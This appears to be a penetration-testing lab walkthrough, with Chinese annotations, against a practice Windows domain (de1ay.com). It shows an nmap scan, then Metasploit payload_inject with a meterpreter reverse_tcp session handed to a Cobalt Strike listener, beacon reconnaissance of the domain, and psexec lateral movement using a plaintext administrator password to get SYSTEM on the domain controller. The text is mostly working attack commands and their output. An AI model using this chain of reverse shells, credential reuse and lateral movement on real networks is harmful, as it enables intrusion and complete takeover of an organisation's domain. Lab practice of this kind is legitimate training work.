┌──(root㉿kali)-[/home/kali] └─# nmap -sS -sV -Pn -T4 -A 192.168.111.80 Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-20 03:48 EDT Nmap scan report for 192.168.111.80 Host is up (0.00055s latency). Not shown: 990 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 |_http-server-header: Microsoft-IIS/7.5 |_http-title: Site doesn't have a title. | http-methods: |_ Potentially risky methods: TRACE 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds 1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000.00; SP2 |_ssl-date: 2023-04-20T07:50:43+00:00; +2s from scanner time. | ms-sql-ntlm-info: | Target_Name: DE1AY | NetBIOS_Domain_Name: DE1AY | NetBIOS_Computer_Name: WEB | DNS_Domain_Name: de1ay.com | DNS_Computer_Name: WEB.de1ay.com | DNS_Tree_Name: de1ay.com |_ Product_Version: 6.1.7601 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2023-04-20T07:08:57 |_Not valid after: 2053-04-20T07:08:57 3389/tcp open tcpwrapped | ssl-cert: Subject: commonName=WEB.de1ay.com | Not valid before: 2023-04-19T06:59:42 |_Not valid after: 2023-10-19T06:59:42 |_ssl-date: 2023-04-20T07:50:43+00:00; +2s from scanner time. 7001/tcp open http Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled) |_http-title: Error 404--Not Found |_weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0) 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC MAC Address: 00:0C:29:A3:4D:99 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Microsoft Windows 7 OS CPE: cpe:/o:microsoft:windows_7 OS details: Microsoft Windows 7 Network Distance: 1 hop Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results: | smb-os-discovery: | OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1) | OS CPE: cpe:/o:microsoft:windows_server_2008::sp1 | Computer name: WEB | NetBIOS computer name: WEB\x00 | Domain name: de1ay.com | Forest name: de1ay.com | FQDN: WEB.de1ay.com |_ System time: 2023-04-20T15:50:02+08:00 | ms-sql-info: | 192.168.111.80:1433: | Version: | name: Microsoft SQL Server 2008 R2 SP2 | number: 10.50.4000.00 | Product: Microsoft SQL Server 2008 R2 | Service pack level: SP2 | Post-SP patches applied: false |_ TCP port: 1433 |_clock-skew: mean: -1h19m58s, deviation: 3h15m57s, median: 0s |_nbstat: NetBIOS name: WEB, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:a3:4d:99 (VMware) | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.1: |_ Message signing enabled but not required | smb2-time: | date: 2023-04-20T07:50:02 |_ start_date: 2023-04-20T07:09:24
TRACEROUTE HOP RTT ADDRESS 1 0.55 ms 192.168.111.80
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 112.90 seconds
use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_tcp set DisablePayloadHandler true 默认情况下，payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个，所以这里我们设置为true set lhost 192.168.111.143 cs监听的ip set lport 6666 cs监听的port set session 2 选择派生的session exploit
beacon> sleep 1 [*] Tasked beacon to sleep for 1s [+] host called home, sent: 16 bytes beacon> shell ipconfig /all
beacon> shell ping de1ay.com 获取域控内网IP
beacon> net view
Server Name IP Address Platform Version Type Comment ----------- ---------- -------- ------- ---- ------- DC 10.10.10.10 500 6.3 PDC PC 192.168.111.201 500 6.1 WEB 192.168.111.80 500 6.1 beacon> shell net group "domain controllers" /domain
beacon> shell net group "domain computers" /domain
use exploit/windows/smb/psexec set payload windows/x64/meterpreter/bind_tcp set smbuser administrator set smbpass 1qaz@WSX
psexec横移(cs)
1 2 3 4 5 6 7 8 9 10 11
beacon> rev2self [*] Tasked beacon to revert token beacon> make_token DE1AY\Administrator 1qaz@WSX [*] Tasked beacon to create a token for DE1AY\Administrator beacon> jump psexec DC SMB [*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\msagent_a9) on DC via Service Control Manager (\\DC\ADMIN$\9ca293a.exe) [+] host called home, sent: 287632 bytes [+] Impersonated NT AUTHORITY\SYSTEM [+] received output: Started service 9ca293a on DC [+] established link to child beacon: 10.10.10.10
